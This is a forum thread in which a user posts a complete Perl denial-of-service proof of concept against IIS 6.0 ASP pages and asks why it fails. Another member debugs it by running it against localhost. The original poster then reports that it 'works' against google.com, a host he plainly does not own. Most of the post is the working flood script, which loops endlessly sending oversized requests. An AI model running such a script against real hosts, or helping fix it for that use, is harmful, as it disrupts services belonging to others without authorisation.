954,523 Members — Technology Publication meets Social Media
Username:
Password:
Lost login information?
Have something to say? Contribute New Article Reply to this Article

problem with script

Hi everybody,
I am the admin of a small website running IIS 6 and i just found out that it may be vulnerable.So i used this script to see if it takes my website down.

# IIS 6.0 ASP DoS PoC
# usage: perl IISdos.pl <host> <asp page>
use IO::Socket;
$|=1;
$host = $ARGV[0];
$script = $ARGV[1];
while(1) {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                   PeerPort => 'http(80)',
                   Proto => 'tcp');
$write = "C=A&" x 40000;
print $sock "HEAD /$script HTTP/1.1\r\nHost: $host\r\n"
           ."Connection:Close\r\nContent-Type: application/x-www-form-urlencoded\r\n"
           ."Content-Length:". length($write) ."\r\n\r\n" . $write;
print ".";
while(<$sock>) {
           print;
}
}

When i run it, i get : Cant use undefined value as symbol reference line 12
Thanks

Karlwakim
Junior Poster in Training
89 posts since Dec 2011
Reputation Points: 27
Solved Threads: 2
 

Did you run it with at least two command line arguments? When I run your script from the command line with no arguments I get the same error. But if I run it from the command line as follows: perl temp01.pl localhost 42; it runs and prints lines until I kill it, but with no error.

d5e5
Practically a Posting Shark
810 posts since Sep 2009
Reputation Points: 159
Solved Threads: 159
 

Thanks,
The error is : localhost doesnt work, i dont know why, but something like google.com works
Thanks again

Karlwakim
Junior Poster in Training
89 posts since Dec 2011
Reputation Points: 27
Solved Threads: 2
 

This article has been dead for over three months

Post: Markdown Syntax: Formatting Help
You